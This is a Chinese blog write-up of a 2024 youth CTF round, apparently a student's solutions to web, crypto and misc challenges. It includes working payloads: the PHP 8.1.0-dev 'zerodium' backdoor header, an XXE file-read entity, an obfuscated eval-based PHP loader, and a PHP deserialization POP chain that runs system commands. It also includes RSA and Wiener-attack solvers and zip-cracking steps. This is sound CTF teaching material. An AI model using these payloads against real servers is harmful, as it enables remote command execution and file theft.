青少年CTF擂台挑战赛 2024 #Round 1

已于 2024-04-13 15:08:08 修改
阅读量683 收藏 11
点赞数 11
文章标签： 网络安全 python
于 2024-04-13 15:05:24 首次发布
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/qq_34204534/article/details/137715903
版权

Web

EasyMD5

image.png
提示上传两个pdf文件，根据提示是md5碰撞
所以利用两个不同的字符串，但md5值相同修改上传的内容即可
PixPin_2024-03-02_13-45-37.png

PHP的后门

image.png
根据提示查看返回头，php版本为8.1.0-dev
image.png
百度下该版本的漏洞，存在命令执行漏洞，在头部添加User-Agentt: zerodiumsystem(“cat /flag”)即可执行命令
image.png

PHP的XXE

打开首页就是phpinfo信息，根据提示查看libxml版本是否小于2.9.0
image.png
如果目录下存在dom.php、SimpleXMLElement.php、simplexml_load_string.php均可触发XXE漏洞。
image.png
直接利用proc

<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE xxe [ <!ELEMENT name ANY > <!ENTITY xxe SYSTEM "file:///flag" >]> 
<root> <name>&xxe;</name></root>

image.png

Easy_SQLi

image.png
sql注入直接sqlmap跑就可以，时间盲注
image.png
image.png
image.png

雏形系统

image.png
dirsearch扫描下，发现www.zip,源码
image.png

<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Login Page</title>
    <style>
        body {
            font-family: Arial, sans-serif;
            background-color: #f0f0f0;
            padding: 20px;
        }

        .container {
            max-width: 400px;
            margin: 0 auto;
            background-color: #fff;
            padding: 20px;
            border-radius: 5px;
            box-shadow: 0 0 10px rgba(0, 0, 0, 0.1);
        }

        .alert {
            padding: 10px;
            background-color: #f8d7da;
            color: #721c24;
            border-radius: 5px;
            margin-bottom: 10px;
        }

        form {
            margin-bottom: 20px;
        }

        form input[type="text"],
        form input[type="password"],
        form input[type="submit"] {
            width: 100%;
            padding: 10px;
            margin-bottom: 10px;
            border: 1px solid #ccc;
            border-radius: 3px;
        }

        form input[type="submit"] {
            background-color: #007bff;
            color: #fff;
            border: none;
            cursor: pointer;
        }
    </style>
</head>

<body>
<div class="container">
    <h1>Welcome to the login testing page!</h1>
    <hr>
    <?php
    $O00OO0=urldecode("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72%6B%64%679%5F%65%68%63%73%77%6F4%2B%6637%6A");$O00O0O=$O00OO0{3}.$O00OO0{6}.$O00OO0{33}.$O00OO0{30};$O0OO00=$O00OO0{33}.$O00OO0{10}.$O00OO0{24}.$O00OO0{10}.$O00OO0{24};$OO0O00=$O0OO00{0}.$O00OO0{18}.$O00OO0{3}.$O0OO00{0}
        .$O0OO00{1}.$O00OO0{24};$OO0000=$O00OO0{7}.$O00OO0{13};$O00O0O.=$O00OO0{22}.$O00OO0{36}
        .$O00OO0{29}.$O00OO0{26}.$O00OO0{30}.$O00OO0{32}.$O00OO0{35}.$O00OO0{26}.$O00OO0{30};
    eval($O00O0O("JE8wTzAwMD0iS1hwSnRScmdxVU9IY0Zld3lvUFNXbkNidmtmTUlkbXh6c0VMWVpCVkdoRE51YUFUbFFqaVRhTWh5UUpVclpudHFlS0JzTndSY2ttbG9kVkFTWXBXeGpMRWJJZkNndk9GdWl6RFBHWEh3TzlCaXR6VFNtelVTZ0NzcXA5c2EzaFBxZzlzWWdQdUlzVUJURGpUbUh6VVNtZlhsZ2V4cXNmeGlnZFRTbXpVU3RqVFNtelVTbXpVU21mQlljaGppY0FVaGc1UEt0RzdtSHpVU216VVNtelVxdENIbGdQWFNtUUJiYUZ4bkJOVVNtelVTbXpVU3RmMWJwV01ic2ZwWWM1WFlnUG9sSGZWYTNRb1ozUXNpYzVrVG1QN21IelVTbXpVU216VVNtelVTbVEwaWdQeEVENXVJYXYwblhNR0RlTk5odFFOaWFBeXdrZnZxM0FNbkJOVVNtelVTbXpVU3QwVFNtelVTdDBUU216VVNnRmpiYUZ4U3RZb21IelVTbWY3bUh6VVNtelVTbXpVcXRDSGxnUFhTbVF4SWFVN21IelVTbXpVU216VXF0Q0hsZ1BYU21RdkkyWjdtSHpVU216VVNtelVxdENIbGdQWFNtUU1sa1FQbGtRTWwyNDdtSHpVU216VVNtelVxdENIbGdQWFNnSTFscEYwaWM5dVNlOVZJZ0N4WXRoMWIzR05UYWpUU216VVNtelVTbXpVU216VUljRk5sc3pIUmdkVUN0aDVTdEZQcXBQdmxnUDZJUmZGSVJMSG5CTlVTbXpVU216VVNtelVTbXpkWWd2TXFzMCtpYzV4cWdDWFltVU1uQk5VU216VVNtelVTdDBUU216VVNtelVTbWZwWWM1WFlnUG9sSGZNbGtGQkljRjBUbVA3bUh6VVNtelVTbXpVU216VVNnUHBUbVEwaWdQeEVENXhJYVU5d1JZSGwzZGtoSGJkWWd2TXFzMCtiY1lQd0Qwa0ljUGtpdFFQSWM0a1RHTlVTbXpVU216VVNtelVTbWY3bUh6VVNtelVTbXpVU216VVNtelVTbWZQYjJ2b1NtUTBpZ1B4RUQ1TWxrUVBsa1FNbDI0N21IelVTbXpVU216VVNtelVTdDBUU216VVNtelVTbXpVU216VUljRk5sc3pIOGgrSXZETDQ1bFRmOGgrU2pIUzdtSHpVU216VVNtelVWR05VU216VVZHTlRTbXpVU2dGamJhRnhTTFFQbGM4VFNtelVTdGpUU216VVNtelVTbWZCWWNoamljQVVoZ0w3bUh6VVNtelVTbXpVcTNRdllnUFhTZ0kxbHBGMGljOXVTZTlWYjJlamxlRjBiYVFNYnNVZGJjRjBpYzl1RW16ZElnOE1tSHpVU216VVNtelVLQk5VU216VVNtelVTbXpVU21ma2xnOUhiY0JVaGdTN21IelVTbXpVU216VVNtelVTbVFIVG1RZGwxakJhUmQ3bUh6VVNtelVTbXpVVkdOVVNtelVWR05UU216VVNtUUhTTzBVaGU5R0QxRlpjc1lCYmFGeFkyOXNJbVlZbkJOVVNtelVoZ0xVd1J6ZGExZndaMVFsaDNDeElhaHViYzFQaDEwN21IelVTbWZ6WWM1eElhaE1iY1dNS3BaTmhnTE1uQk5VU216VWljYlVUbWVNcTNGUFltVWRiSGRNU3RqVFNtelVTbXpVU21mUGIydm9TbVM5d0QwOXdEMDl3RDA5d0QwOXdEMDl3RDFHRGVOVVJjNUJZYUdVY2M5MXFIZm5iYzFQU0QwOXdEMDl3RDA5d0QwOXdEMDl3RDA5d1JTN21IelVTbWY5bUh6VVNtZk1JSFVkYkQwOWgyZWRsY1B1aHNicGhnUzl3UlNraXhlcFljdjFoM0FVWWdDeFltZmRJYzFvU0hkVFNtelVTdGpUU216VVNtelVTbWZQYjJ2b1RtRWtwbG9Qb0lhcEhoT1BITThIVERqVFNtelVTdDBUbUh6VVNtei93VT09IjsgIAogICAgICAgIGV2YWwoJz8+Jy4kTzAwTzBPKCRPME9PMDAoJE9PME8wMCgkTzBPMDAwLCRPTzAwMDAqMiksJE9PME8wMCgkTzBPMDAwLCRPTzAwMDAsJE9PMDAwMCksICAgIAogICAgICAgICRPTzBPMDAoJE8wTzAwMCwwLCRPTzAwMDApKSkpOw=="));
    ?>
    <form method="POST">
        <input type="text" name="username" placeholder="Username" required>
        <input type="password" name="password" placeholder="Password" required>
        <input type="submit" value="Login">
    </form>

</div>
</body>

</html>

自己搭建环境查看eval的内容是什么

<?php
    $O00OO0=urldecode("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72%6B%64%679%5F%65%68%63%73%77%6F4%2B%6637%6A");$O00O0O=$O00OO0{3}.$O00OO0{6}.$O00OO0{33}.$O00OO0{30};$O0OO00=$O00OO0{33}.$O00OO0{10}.$O00OO0{24}.$O00OO0{10}.$O00OO0{24};$OO0O00=$O0OO00{0}.$O00OO0{18}.$O00OO0{3}.$O0OO00{0}
        .$O0OO00{1}.$O00OO0{24};$OO0000=$O00OO0{7}.$O00OO0{13};$O00O0O.=$O00OO0{22}.$O00OO0{36}
        .$O00OO0{29}.$O00OO0{26}.$O00OO0{30}.$O00OO0{32}.$O00OO0{35}.$O00OO0{26}.$O00OO0{30};
$O0O000="KXpJtRrgqUOHcFewyoPSWnCbvkfMIdmxzsELYZBVGhDNuaATlQjiTaMhyQJUrZntqeKBsNwRckmlodVASYpWxjLEbIfCgvOFuizDPGXHwO9BitzTSmzUSgCsqp9sa3hPqg9sYgPuIsUBTDjTmHzUSmfXlgexqsfxigdTSmzUStjTSmzUSmzUSmfBYchjicAUhg5PKtG7mHzUSmzUSmzUqtCHlgPXSmQBbaFxnBNUSmzUSmzUStf1bpWMbsfpYc5XYgPolHfVa3QoZ3Qsic5kTmP7mHzUSmzUSmzUSmzUSmQ0igPxED5uIav0nXMGDeNNhtQNiaAywkfvq3AMnBNUSmzUSmzUSt0TSmzUSt0TSmzUSgFjbaFxStYomHzUSmf7mHzUSmzUSmzUqtCHlgPXSmQxIaU7mHzUSmzUSmzUqtCHlgPXSmQvI2Z7mHzUSmzUSmzUqtCHlgPXSmQMlkQPlkQMl247mHzUSmzUSmzUqtCHlgPXSgI1lpF0ic9uSe9VIgCxYth1b3GNTajTSmzUSmzUSmzUSmzUIcFNlszHRgdUCth5StFPqpPvlgP6IRfFIRLHnBNUSmzUSmzUSmzUSmzdYgvMqs0+ic5xqgCXYmUMnBNUSmzUSmzUSt0TSmzUSmzUSmfpYc5XYgPolHfMlkFBIcF0TmP7mHzUSmzUSmzUSmzUSgPpTmQ0igPxED5xIaU9wRYHl3dkhHbdYgvMqs0+bcYPwD0kIcPkitQPIc4kTGNUSmzUSmzUSmzUSmf7mHzUSmzUSmzUSmzUSmzUSmfPb2voSmQ0igPxED5MlkQPlkQMl247mHzUSmzUSmzUSmzUSt0TSmzUSmzUSmzUSmzUIcFNlszH8h+IvDL45lTf8h+SjHS7mHzUSmzUSmzUVGNUSmzUVGNTSmzUSgFjbaFxSLQPlc8TSmzUStjTSmzUSmzUSmfBYchjicAUhgL7mHzUSmzUSmzUq3QvYgPXSgI1lpF0ic9uSe9Vb2ejleF0baQMbsUdbcF0ic9uEmzdIg8MmHzUSmzUSmzUKBNUSmzUSmzUSmzUSmfklg9HbcBUhgS7mHzUSmzUSmzUSmzUSmQHTmQdl1jBaRd7mHzUSmzUSmzUVGNUSmzUVGNTSmzUSmQHSO0Uhe9GD1FZcsYBbaFxY29sImYYnBNUSmzUhgLUwRzda1fwZ1Qlh3CxIahubc1Ph107mHzUSmfzYc5xIahMbcWMKpZNhgLMnBNUSmzUicbUTmeMq3FPYmUdbHdMStjTSmzUSmzUSmfPb2voSmS9wD09wD09wD09wD09wD09wD1GDeNURc5BYaGUcc91qHfnbc1PSD09wD09wD09wD09wD09wD09wRS7mHzUSmf9mHzUSmfMIHUdbD09h2edlcPuhsbphgS9wRSkixepYcv1h3AUYgCxYmfdIc1oSHdTSmzUStjTSmzUSmzUSmfPb2voTmEkploPoIapHhOPHM8HTDjTSmzUSt0TmHzUSmz/wU=="; 
echo (($O0OO00($OO0O00($O0O000,$OO0000*2),$OO0O00($O0O000,$OO0000,$OO0000), $OO0O00($O0O000,0,$OO0000))));
?>

base64解码得到php代码

<?php
    error_reporting(0);

    class shi
    {
        public $next;
        public $pass = ;
        public function __toString(){
            $this->next::PLZ($this->pass);
        }
    }
    class wo
    {
        public $sex;
        public $age;
        public $intention;
        public function __destruct(){
            echo "Hi Try serialize Me!";
            $this->inspect();
        }
        function inspect(){
            if($this->sex=='boy'&&$this->age=='eighteen')
            {
                echo $this->intention;
            }
            echo "🙅18岁🈲";
        }
    }

    class Demo
    {
        public $a;
        static function __callStatic($action, $do)
        {
            global $b;
            $b($do[0]);
        }
    }

    $b = $_POST['password'];
    $a = $_POST['username'];
    @unserialize($a);
    if (!isset($b)) {
        echo "==================PLZ Input Your Name!==================";
    }
    if($a=='admin'&&$b=="'k1fuhu's test demo")
    {
        echo("登录成功");
    }

    ?>

反序列化pop链
顺序是wo::__destruct->wo:: inspect()->shi::__toString()->Demo::__callStatic()

<?php
    class shi
    {
        public $next;
        public $pass = "tac /flag";
    }
    class wo
    {
        public $sex= "boy";
        public $age= "eighteen";
        public $intention;
    }

    class Demo
    {
        public $a;
    }

    $a = new Demo();
    $b = new shi();
    $b->next = $a;
    $c = new wo();
    $c ->intention = $b;
    $c ->age = "eighteen";
    $c ->sex = "boy";
    echo serialize($c);
?>

proc如下

O:2:"wo":3:{s:3:"sex";s:3:"boy";s:3:"age";s:8:"eighteen";s:9:"intention";O:3:"shi":2:{s:4:"next";O:4:"Demo":1:{s:1:"a";N;}s:4:"pass";s:9:"tac /flag";}}

username传入proc，password传入system即可
image.png

CRYPTO

ez_log

from Crypto.Util.number import *
from random import *
flag=b'key{xxxxxxx}'
m=bytes_to_long(flag)
p=3006156660704242356836102321001016782090189571028526298055526061772989406357037170723984497344618257575827271367883545096587962708266010793826346841303043716776726799898939374985320242033037
g=3
c=pow(g,m,p)
print(f'c=',c)
#c=2004377369689066894840098856241495530726527162943343581288450797042974004557036346268242715151590983611813776815976040041195130594388823278997470435966504526274539336564314373218865756306759

直接用sagemath求对数，即可得到key，输入key即可获得flag

p=3006156660704242356836102321001016782090189571028526298055526061772989406357037170723984497344618257575827271367883545096587962708266010793826346841303043716776726799898939374985320242033037
g=3
c=2004377369689066894840098856241495530726527162943343581288450797042974004557036346268242715151590983611813776815976040041195130594388823278997470435966504526274539336564314373218865756306759
m=discrete_log(mod(c,p),mod(g,p))
print(m)

image.png

import gmpy2
from Crypto.Util.number import long_to_bytes
m = 129834262662314096869275005
print(long_to_bytes(m))

image.png

四重加密

step1 附件是压缩包，注释上的代码是base32
image.png
image.png
step2 压缩包解压是txt文件，html编码

&#122;&#99;&#121;&#101;&#123;&#109;&#120;&#109;&#101;&#109;&#116;&#120;&#114;&#122;&#116;&#95;&#108;&#122;&#98;&#104;&#97;&#95;&#107;&#119;&#109;&#113;&#122;&#101;&#99;&#125;&#124;&#107;&#101;&#121;&#61;&#104;&#101;&#108;&#108;&#111;

image.png
step3 有flag的形式了，还有key，想到是维吉尼亚密码
image.png
step4 没有密钥的flag形式，应该是凯撒
image.png

解个方程

欢迎来到青少年CTF，领取你的题目，进行解答吧！这是一道数学题！！
    p = 110199934455709461617762589052377478411
    q = 280046748475629166786254898671755065939
    e = 65537
    d = ?

import gmpy2
p = 110199934455709461617762589052377478411
q = 280046748475629166786254898671755065939
e = 65537
d = gmpy2.invert(e,(p - 1)*(q - 1))
print(d)

ezrsa

from Crypto.Util.number import *
flag = b'qsnctf{xxx-xxxx-xxxx-xxxx-xxxxxxxxx}'
m = bytes_to_long(flag)
p = getPrime(512)
q = getPrime(512)
r = getPrime(512)
n = p * q * r
leak = p * q
e = 0x10001
c = pow(m, e, n)
print(f'c = {c}')
print(f'n = {n}')
print(f'leak = {leak}')
# c = 173595148273920891298949441727054328036798235134009407863895058729356993814829340513336567479145746034781201823694596731886346933549577879568197521436900228804336056005940048086898794965549472641334237175801757569154295743915744875800647234151498117718087319013271748204766997008772782882813572814296213516343420236873651060868227487925491016675461540894535563805130406391144077296854410932791530755245514034242725719196949258860635915202993968073392778882692892
# n = 1396260492498511956349135417172451037537784979103780135274615061278987700332528182553755818089525730969834188061440258058608031560916760566772742776224528590152873339613356858551518007022519033843622680128062108378429621960808412913676262141139805667510615660359775475558729686515755127570976326233255349428771437052206564497930971797497510539724340471032433502724390526210100979700467607197448780324427953582222885828678441579349835574787605145514115368144031247
# leak = 152254254502019783796170793516692965417859793325424454902983763285830332059600151137162944897787532369961875766745853731769162511788354655291037150251085942093411304833287510644995339391240164033052417935316876168953838783742499485868268986832640692657031861629721225482114382472324320636566226653243762620647

from Crypto.Util.number import *
import gmpy2
e = 0x10001
c = 173595148273920891298949441727054328036798235134009407863895058729356993814829340513336567479145746034781201823694596731886346933549577879568197521436900228804336056005940048086898794965549472641334237175801757569154295743915744875800647234151498117718087319013271748204766997008772782882813572814296213516343420236873651060868227487925491016675461540894535563805130406391144077296854410932791530755245514034242725719196949258860635915202993968073392778882692892
n = 1396260492498511956349135417172451037537784979103780135274615061278987700332528182553755818089525730969834188061440258058608031560916760566772742776224528590152873339613356858551518007022519033843622680128062108378429621960808412913676262141139805667510615660359775475558729686515755127570976326233255349428771437052206564497930971797497510539724340471032433502724390526210100979700467607197448780324427953582222885828678441579349835574787605145514115368144031247
leak = 152254254502019783796170793516692965417859793325424454902983763285830332059600151137162944897787532369961875766745853731769162511788354655291037150251085942093411304833287510644995339391240164033052417935316876168953838783742499485868268986832640692657031861629721225482114382472324320636566226653243762620647
r = n // leak
phi = r - 1
d = gmpy2.invert(e,phi)
m = pow(c,d,r)
print(long_to_bytes(m))

factor1

import gmpy2
import hashlib
from Crypto.Util.number import *

p = getPrime(512)
q = getPrime(512)
d = getPrime(256)
e = gmpy2.invert(d, (p**2 - 1) * (q**2 - 1))
flag = "qsnctf{" + hashlib.md5(str(p + q).encode()).hexdigest() + "}"
print(e)
print(p * q)
# 4602579741478096718172697218991734057017874575484294836043557658035277770732473025335441717904100009903832353915404911860888652406859201203199117870443451616457858224082143505393843596092945634675849883286107358454466242110831071552006337406116884147391687266536283395576632885877802269157970812862013700574069981471342712011889330292259696760297157958521276388120468220050600419562910879539594831789625596079773163447643235584124521162320450208920533174722239029506505492660271016917768383199286913178821124229554263149007237679675898370759082438533535303763664408320263258144488534391712835778283152436277295861859
# 78665180675705390001452176028555030916759695827388719494705803822699938653475348982551790040292552032924503104351703419136483078949363470430486531014134503794074329285351511023863461560882297331218446027873891885693166833003633460113924956936552466354566559741886902240131031116897293107970411780310764816053

import gmpy2
import hashlib
from Crypto.Util.number import *
import random

def continuedFra(x, y):

    """计算连分数
    :param x: 分子
    :param y: 分母
    :return: 连分数列表
    """

    cf = []

    while y:

        cf.append(x // y)

        x, y = y, x % y

    return cf

def gradualFra(cf):

    """计算传入列表最后的渐进分数

    :param cf: 连分数列表

    :return: 该列表最后的渐近分数

    """

    numerator = 0

    denominator = 1

    for x in cf[::-1]:

        # 这里的渐进分数分子分母要分开

        numerator, denominator = denominator, x * denominator + numerator

    return numerator, denominator

def solve_pq(a, b, c):

    """使用韦达定理解出pq，x^2−(p+q)∗x+pq=0

    :param a:x^2的系数

    :param b:x的系数

    :param c:pq

    :return:p，q

    """

    par = gmpy2.isqrt(b * b - 4 * a * c)

    return (-b + par) // (2 * a), (-b - par) // (2 * a)

def getGradualFra(cf):

    """计算列表所有的渐近分数

    :param cf: 连分数列表

    :return: 该列表所有的渐近分数

    """

    gf = []

    for i in range(1, len(cf) + 1):

        gf.append(gradualFra(cf[:i]))

    return gf

def wienerAttack(e, n):

    """

    :param e:

    :param n:

    :return: 私钥d

    """

    cf = continuedFra(e, n)

    gf = getGradualFra(cf)

    for d, k in gf:

        if k == 0: continue

        if (e * d - 1) % k != 0:

            continue

        phi = (e * d - 1) // k

        p, q = solve_pq(1, n - phi + 1, n)

        if p * q == n:

            return d

e = 4602579741478096718172697218991734057017874575484294836043557658035277770732473025335441717904100009903832353915404911860888652406859201203199117870443451616457858224082143505393843596092945634675849883286107358454466242110831071552006337406116884147391687266536283395576632885877802269157970812862013700574069981471342712011889330292259696760297157958521276388120468220050600419562910879539594831789625596079773163447643235584124521162320450208920533174722239029506505492660271016917768383199286913178821124229554263149007237679675898370759082438533535303763664408320263258144488534391712835778283152436277295861859
n = 78665180675705390001452176028555030916759695827388719494705803822699938653475348982551790040292552032924503104351703419136483078949363470430486531014134503794074329285351511023863461560882297331218446027873891885693166833003633460113924956936552466354566559741886902240131031116897293107970411780310764816053

d = wienerAttack(e,n*n)
print(d)
k = e * d - 1
 
r = k
t = 0
while True:
    r = r // 2
    t += 1
    if r % 2 == 1:
        break

success = False
while success == False:
    g = random.randint(0, n)
    y = pow(g, r, n)
    if y == 1 or y == n - 1:
        continue
 
    for j in range(1, t):
        x = pow(y, 2, n)
        if x == 1:
            success = True
            break
        elif x == n - 1:
            continue
        else:
            y = x
 
p = gmpy2.gcd(y - 1, n)
q = n // p
hash_result = hashlib.md5(str(p + q).encode()).hexdigest()
print(b'qsnctf{' + hash_result.encode() + b'}')

Misc

CTFer Revenge

image.png
image.png
hex dump形式，尾部是504b倒序，直接用厨子
image.png

导出一个zip压缩包

image.png
爆破密码是z12345，得到flag

image.png

小光的答案之书


应该啊是图形密码
image.png
对照下应该是圣堂武士密码
LIFE
解题界面输入LIFE
image.png
不对，应该是小写life
image.png
公众号回复即可获得flag

追光者

解压，一个图片，一个txt文档

有些人你看着挺正常的，吃饭睡觉，打打CTF，聊天大笑，其实心里边早就死透了……

我追寻光明，可我看不到一点光明，你能帮我找到光吗？

追光者.jpg
binwalk分析下
image.png
存在第二张图片
foremost分解出图片和压缩包，此外图片最后有一串base64字符串，解码提示压缩包密码为小写
image.png
打开压缩包，注释里有提示
image.png

人们不愿意相信光是AB，人们更愿意相信光是AD。人们也不愿意相信，密码就在眼前，因为人们只愿相信自己愿意相信的，只愿看到自己想看到的……

在图片里搜索AB
image.png密码为iam5thplayer

三哈师傅说过：
“其实打ctf的最大乐趣就是挑战未知，挑战自己不知道的东西，做不出来也正常，毕竟出题人可能也是绞尽脑汁，千方百计弄点新的东西出来，就算最厉害的web手，也不敢说自己所有比赛都能做出来，只要努力去逼近自己意志极限，你过程有多痛苦，那么你做出来的时候就有多快乐。就算做不出来也没关系，比赛完成后，认真复现一下，我相信，这个题，这个考点，这个姿势，你会铭记一辈子，这其实才是真正的ctf内涵，真正的极客精神呢”

我的CTF价值观
1.摆正心态很重要：适度CTF益脑，沉迷CTF伤身
2.没有什么CTF是必须打的CTF
3.成绩固然重要，但比成绩更重要的是，感受CTF带给你的知识收获、友谊与成长

谢谢你帮我找到了在我生命中最温暖的光，但是这束光太过耀眼，我只看清了一半
qsnctf{NE73R

image.png
压缩包内也有一张闪的图片，猜测是已知明文攻击
这里要注意因为源文件使用bangdizip压缩的，所以明文也得要使用bangdizip压缩，不然明文攻击会出现错误。
image.png
解压

纵然世间黑暗，仍有一点星光。

}o1U_3V1G_

reverse一下就行了
最终flag

qsnctf{NE73R_G1V3_U1o}

多情

解压后一个压缩包，一个图片
看看我.png
image.png
隐藏着另外一个图片
image.png
根据提示，可能修改了png图片的高
image.png
修改图片高度，多了一个数字996，压缩包解压是10个txt文档
image.png
996转2进制1111100100总共10个二进制位，按顺序拼接

&#76;&#114;&#112;&#53;&#109;&#74;&#99;&#100;&#69;&#98;&#98;&#118;&#50;&#98;&#110;&#102;&#54;&#72;&#81;&#83;&#78;&#104;

html解码得到

Lrp5mJcdEbbv2bnf6HQSNh

包裹上qsnctf{}即可

Wonder457
关注
青少年CTF-Web-Easy PingMe攻略
小苏
11-30 996
分号字符，决定使用这个符号进行操作，经过这条命令可以得知本目录下还有一个文件名为【flag.php】，猜测flag就在该文件中，所以使用【1.1.1.1;这是因为他是php语言，且将flag赋值在了变量中，并没有将它进行输出！第二步：开始尝试注入，先测试是否会过滤一些字符之类的操作 这里以【1.1.1.1;见怪不怪了，尝试【CTRL+U】查看源代码看看是否有什么东西出现！end：遇到命令注入的可以尝试【;前言：根据题目意思得知该题目为命令执行【命令注入】第一步：启动靶场，然后打开链接查看原型。
青少年ctf擂台挑战赛 2024 #round 1
04-16
青少年ctf擂台挑战赛 2024 #round 1
青少年CTF擂台挑战赛2024round#1 web与杂项部分题解
2301_76968724的博客
03-02 1957
这次的青少年CTF擂台挑战赛，相较于去年，我觉得，今年的web题很适合刚入门的初学者进行攻克，难度属于中等对于初学者来讲，还是需要了解一些web方面稍微深层的知识，并且做题还是需要一些脑洞。话不多说咱们开始。
[青少年CTF擂台挑战赛 2024 #Round] Misc 1ez_model
Jay17的博客
03-04 651
[青少年CTF擂台挑战赛 2024 #Round] Misc 1ez_model
青少年CTF擂台挑战赛 2024 #Round 1 Web方向题解 WP 全
Jay17的博客
03-02 1687
青少年CTF擂台挑战赛 2024 #Round 1 Web方向题解 WP 全
【CTF】青少年CTF擂台挑战赛 2024 #Round 1 部分WriteUp
ranfeyyou的博客
03-05 1251
简单的数学题 追光者 PHP的后门 的WP
青少年CTF—XXE
CTF
03-08 480
打开容器后发现就是phpinfo()的页面，上网搜索发现访问simplexml_load_string.php文件时，页面没有任何显示。发送给repeater，并尝试进行命令执行。发现访问成功，猜想flag文件在根目录下，
青少年CTF2024 #Round1 wp web
永不落的梦想
03-02 661
MD5碰撞，使用工具fastcoll生成内容不同但md5值相同的两个pdf文件上传即可获得flag；上传2.pdf和3.pdf，获取到flag；
2022年ctf强网青少年题目
09-16
2022年ctf强网青少年题目
[青少年 CTF] Web签到
piggcs的博客
04-03 652
扫出一个备份文件/index.php.bak，在地址输入/index.php.bak。输入指令python dirsearch.py -u http://xxxx。命令行输入 python，返回版本号则安装成功（环境配置成功）。此工具是Python3工具，所以先要部署Python3环境。建议默认安装到C盘 且 勾选PATH（自动配置环境变量）。进入Python官网后找到自己想要的版本和相应的系统。自动下载一个文件，用记事本打开，得到flag。安装完成后 win+r 输入 cmd。
青少年ctf crypto easy 部分题解
mxaii的博客
01-08 899
目前只写了我做了的，难绷
青少年CTF——PHP特性01
2301_78684637的博客
10-10 168
青少年CTF——PHP特性01
4、PHP的xml注入漏洞（xxe）
weixin_51520483的博客
05-21 641
2、CTRL+f搜索xml，发现2.8.0版本，含有xml漏洞。5、在触发bug的包下面加上，获取flag。1、打开网页是一个PHP版本页面。青少年ctf：PHP的XXE。4、使用代码出发bug。
CTFSHOW和青少年CTFweb刷题
最新发布
qq_75120258的博客
05-28 859
打开环境后得到这样一句话查看一下源代码，提示我们进行传参，进行命令执行进行传参，确认可以进行命令执行那我们接下来就是用命令执行查找flag发现并没有什么用，题目给了提示需要用到和。
五大后门连接工具&木马免杀初级思路
weixin_54882883的博客
08-25 1280
在我们上传木马的时候，经常会遇到木马查杀，木马上传上去了突然被杀了删除了，有时候木马上传了，但是连不上去，这是在getshell中经常遇到的问题，那么当遇到这种问题，就需要让木马绕过网站上WAF的一些查杀等等问题了。那么这个时候POST还需将我们要执行的代码命令等等进去传送给assert函数。但是eval不能直接在URL中添加所以用assert来代替。其实assert和eval的功能上是差不多。检测机制检测就是未知代码不知道。为什么e=assert呢。那么这个地址就是后门地址。加密其实就是把木马加密了。..
一文解读，网络安全行业人才需求情况《网络安全产业人才发展报告》
weixin_59086772的博客
10-18 8523
随着近几天国家网络安全宣传周在全国各地开展活动，网络安全再一次成为热门话题。网络安全不再缩在小小的安全圈子里，惠及面越来越广。不少对网络安全颇有兴趣的朋友非常关心行业前景如何？该怎么提升自我能力，更快地加入网安行列。 今天雨笋君就10月13日在网络安全宣传周上发布的《2021网络安全人才报告》进行一个简单的行业前景分析。 一、网络安全行业市场发展情况 网络时代生活越来越离不开网络，与此同时发生的网络安全攻击事件、非法入侵等等一系列事件都威胁着普通人的生活。没有网络安全保障，个人和企业等重.
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值